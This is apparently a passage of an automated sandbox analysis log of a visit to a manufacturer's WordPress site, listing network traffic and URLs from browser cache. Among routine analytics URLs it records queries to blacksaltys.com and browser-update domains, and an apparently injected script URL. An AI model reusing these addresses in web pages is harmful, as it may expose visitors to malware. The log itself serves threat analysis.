Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: chromecache_131.2.dr	String found in binary or memory: <a href="https://www.youtube.com/embed/7SQDZXqsaFM?autoplay=true" data-rel="lightcase:gallery" class="image video" title="Aluminum Tailored Blanks Video"> equals www.youtube.com (Youtube)
Source: chromecache_170.2.dr, chromecache_149.2.dr	String found in binary or memory: return b}JC.F="internal.enableAutoEventOnTimer";var gc=la(["data-gtm-yt-inspected-"]),LC=["www.youtube.com","www.youtube-nocookie.com"],MC,NC=!1; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.twbcompany.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: blacksaltys.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: secure.leadforensics.com
Source: global traffic	DNS traffic detected: DNS query: virtual.urban-orthodontics.com
Source: global traffic	DNS traffic detected: DNS query: j.6sc.co
Source: global traffic	DNS traffic detected: DNS query: browserupdate.org
Source: global traffic	DNS traffic detected: DNS query: browser-update.org
Source: global traffic	DNS traffic detected: DNS query: c.6sc.co
Source: global traffic	DNS traffic detected: DNS query: ipv6.6sc.co
Source: global traffic	DNS traffic detected: DNS query: b.6sc.co

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 07 Oct 2024 11:17:09 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 07 Oct 2024 11:17:12 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 07 Oct 2024 11:17:18 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 07 Oct 2024 11:17:27 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 07 Oct 2024 11:17:34 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 07 Oct 2024 11:17:40 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 07 Oct 2024 11:17:47 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 07 Oct 2024 11:18:06 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: close

Source: chromecache_143.2.dr	String found in binary or memory: http://bitters.bourbon.io
Source: chromecache_143.2.dr	String found in binary or memory: http://browserhacks.com/#hack-28f493d247a12ab654f6c3637f6978d5
Source: chromecache_143.2.dr	String found in binary or memory: http://browserhacks.com/#hack-758bff81c5c32351b02e10480b5ed48e
Source: chromecache_143.2.dr	String found in binary or memory: http://browserhacks.com/#hack-a3f166304aafed524566bc6814e1d5c7
Source: chromecache_135.2.dr	String found in binary or memory: http://css-tricks.com/inheriting-box-sizing-probably-slightly-better-best-practice/
Source: chromecache_128.2.dr, chromecache_193.2.dr	String found in binary or memory: http://modernizr.com/download/#-fontface-backgroundsize-borderimage-borderradius-boxshadow-flexbox-f
Source: chromecache_135.2.dr	String found in binary or memory: http://necolas.github.com/normalize.css/
Source: chromecache_143.2.dr	String found in binary or memory: http://stackoverflow.com/questions/17553300/change-ie-background-color-on-unopened-focused-select-bo
Source: chromecache_135.2.dr	String found in binary or memory: http://underscores.me/
Source: chromecache_135.2.dr	String found in binary or memory: http://www.gnu.org/licenses/gpl-2.0.html
Source: chromecache_135.2.dr	String found in binary or memory: http://www.page.works
Source: chromecache_149.2.dr	String found in binary or memory: https://adservice.google.com/pagead/regclk?
Source: chromecache_176.2.dr, chromecache_221.2.dr	String found in binary or memory: https://ampcid.google.com/v1/publisher:getClientId
Source: chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	String found in binary or memory: https://api.w.org/
Source: chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	String found in binary or memory: https://blacksaltys.com/2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0
Source: chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	String found in binary or memory: https://cbdt.fa.us2.oraclecloud.com/hcmUI/CandidateExperience/en/sites/WorthingtonSteelCareers/requi
Source: chromecache_170.2.dr, chromecache_149.2.dr	String found in binary or memory: https://cct.google/taggy/agent.js
Source: chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	String found in binary or memory: https://code.jquery.com/jquery-1.11.3.min.js?ver=1.11.3
Source: chromecache_143.2.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/CSS/:-moz-focusring
Source: chromecache_143.2.dr	String found in binary or memory: https://fonts.googleapis.com/css?family=Open
Source: chromecache_165.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v26/JTUSjIg1_i6t8kCHKm459W1hyzbi.woff2)
Source: chromecache_165.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v26/JTUSjIg1_i6t8kCHKm459WRhyzbi.woff2)
Source: chromecache_165.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v26/JTUSjIg1_i6t8kCHKm459WZhyzbi.woff2)
Source: chromecache_165.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v26/JTUSjIg1_i6t8kCHKm459Wdhyzbi.woff2)
Source: chromecache_165.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v26/JTUSjIg1_i6t8kCHKm459Wlhyw.woff2)
Source: chromecache_165.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqW106F15M.woff2)
Source: chromecache_165.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWt06F15M.woff2)
Source: chromecache_165.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWtE6F15M.woff2)
Source: chromecache_165.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWtU6F15M.woff2)
Source: chromecache_165.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWtk6F15M.woff2)
Source: chromecache_165.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWu06F15M.woff2)
Source: chromecache_165.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWuU6F.woff2)
Source: chromecache_165.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWuk6F15M.woff2)
Source: chromecache_165.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWvU6F15M.woff2)
Source: chromecache_165.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWxU6F15M.woff2)
Source: chromecache_165.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTS-muw.woff2)
Source: chromecache_165.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTS2mu1aB.woff2)
Source: chromecache_165.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSCmu1aB.woff2)
Source: chromecache_165.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSGmu1aB.woff2)
Source: chromecache_165.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSKmu1aB.woff2)
Source: chromecache_165.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSOmu1aB.woff2)
Source: chromecache_165.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSumu1aB.woff2)
Source: chromecache_165.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSymu1aB.woff2)
Source: chromecache_165.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTUGmu1aB.woff2)
Source: chromecache_165.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTVOmu1aB.woff2)
Source: chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	String found in binary or memory: https://gmpg.org/xfn/11
Source: chromecache_149.2.dr	String found in binary or memory: https://pagead2.googlesyndication.com
Source: chromecache_170.2.dr, chromecache_149.2.dr	String found in binary or memory: https://pagead2.googlesyndication.com/pagead/gen_204?id=tcfe
Source: chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	String found in binary or memory: https://schema.org
Source: chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	String found in binary or memory: https://secure.leadforensics.com/131326.png
Source: chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	String found in binary or memory: https://secure.leadforensics.com/js/131326.js
Source: chromecache_170.2.dr, chromecache_149.2.dr	String found in binary or memory: https://stats.g.doubleclick.net/g/collect
Source: chromecache_221.2.dr	String found in binary or memory: https://stats.g.doubleclick.net/j/collect
Source: chromecache_176.2.dr, chromecache_221.2.dr	String found in binary or memory: https://tagassistant.google.com/
Source: chromecache_170.2.dr, chromecache_149.2.dr	String found in binary or memory: https://td.doubleclick.net
Source: chromecache_176.2.dr, chromecache_221.2.dr	String found in binary or memory: https://www.google-analytics.com/debug/bootstrap?id=
Source: chromecache_176.2.dr, chromecache_221.2.dr	String found in binary or memory: https://www.google-analytics.com/gtm/js?id=
Source: chromecache_176.2.dr, chromecache_221.2.dr	String found in binary or memory: https://www.google.%/ads/ga-audiences
Source: chromecache_149.2.dr	String found in binary or memory: https://www.google.com
Source: chromecache_176.2.dr, chromecache_221.2.dr	String found in binary or memory: https://www.google.com/ads/ga-audiences
Source: chromecache_170.2.dr, chromecache_149.2.dr	String found in binary or memory: https://www.googleadservices.com
Source: chromecache_149.2.dr	String found in binary or memory: https://www.googletagmanager.com
Source: chromecache_176.2.dr, chromecache_221.2.dr	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=
Source: chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=UA-13844840-1
Source: chromecache_170.2.dr, chromecache_149.2.dr	String found in binary or memory: https://www.merchant-center-analytics.goog
Source: chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	String found in binary or memory: https://www.tailored-blanks.com/en/
Source: chromecache_136.2.dr	String found in binary or memory: https://www.twbcompany.com/
Source: chromecache_219.2.dr	String found in binary or memory: https://www.twbcompany.com/#breadcrumb
Source: chromecache_136.2.dr	String found in binary or memory: https://www.twbcompany.com/#website
Source: chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	String found in binary or memory: https://www.twbcompany.com/2016/wp-content/plugins/cf7-gated-content/js/cf7_gated_content.js?ver=1
Source: chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	String found in binary or memory: https://www.twbcompany.com/2016/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.8.7
Source: chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	String found in binary or memory: https://www.twbcompany.com/2016/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.8.7
Source: chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	String found in binary or memory: https://www.twbcompany.com/2016/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.8.7
Source: chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	String found in binary or memory: https://www.twbcompany.com/2016/wp-content/plugins/sitepress-multilingual-cms/dist/css/blocks/styles
Source: chromecache_136.2.dr	String found in binary or memory: https://www.twbcompany.com/2016/wp-content/plugins/sitepress-multilingual-cms/templates/language-swi
Source: chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	String found in binary or memory: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/apple-touch-icon.p
Source: chromecache_136.2.dr	String found in binary or memory: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/favicon.ico
Source: chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	String found in binary or memory: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/ms-icon-144x144.pn
Source: chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	String found in binary or memory: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/logos/iso-14001.png
Source: chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	String found in binary or memory: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/logos/iso-ts16949.png
Source: chromecache_136.2.dr	String found in binary or memory: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/logos/logo-twb-main.svg
Source: chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	String found in binary or memory: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/logos/q1.png
Source: chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	String found in binary or memory: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/logos/worthington-industrie
Source: chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	String found in binary or memory: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase.cs
Source: chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	String found in binary or memory: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/plugins/lightcase/lightcase.js?ver
Source: chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	String found in binary or memory: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/scripts/main.min.js?ver=20120206
Source: chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	String found in binary or memory: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/styles/main.css?ver=6.5.4
Source: chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	String found in binary or memory: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/js/modernizr.js?ver=2.8.3
Source: chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	String found in binary or memory: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/js/skip-link-focus-fix.js?ver=20130115
Source: chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	String found in binary or memory: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/style.css?ver=6.5.4
Source: chromecache_131.2.dr	String found in binary or memory: https://www.twbcompany.com/2016/wp-content/uploads/2015/08/FSW-machine-landing-pg-option-3-1024x576.
Source: chromecache_131.2.dr	String found in binary or memory: https://www.twbcompany.com/2016/wp-content/uploads/2015/08/FSW-machine-landing-pg-option-3.png
Source: chromecache_131.2.dr	String found in binary or memory: https://www.twbcompany.com/2016/wp-content/uploads/2015/08/FSW-machine-landing-pg-option-3.png)
Source: chromecache_219.2.dr	String found in binary or memory: https://www.twbcompany.com/2016/wp-content/uploads/2015/08/FSW-machine-landing-pg-option-3.png);
Source: chromecache_131.2.dr	String found in binary or memory: https://www.twbcompany.com/2016/wp-content/uploads/2015/08/door-inner-headerless.jpg);
Source: chromecache_131.2.dr	String found in binary or memory: https://www.twbcompany.com/2016/wp-content/uploads/2015/08/door-inner-with-header.jpg);
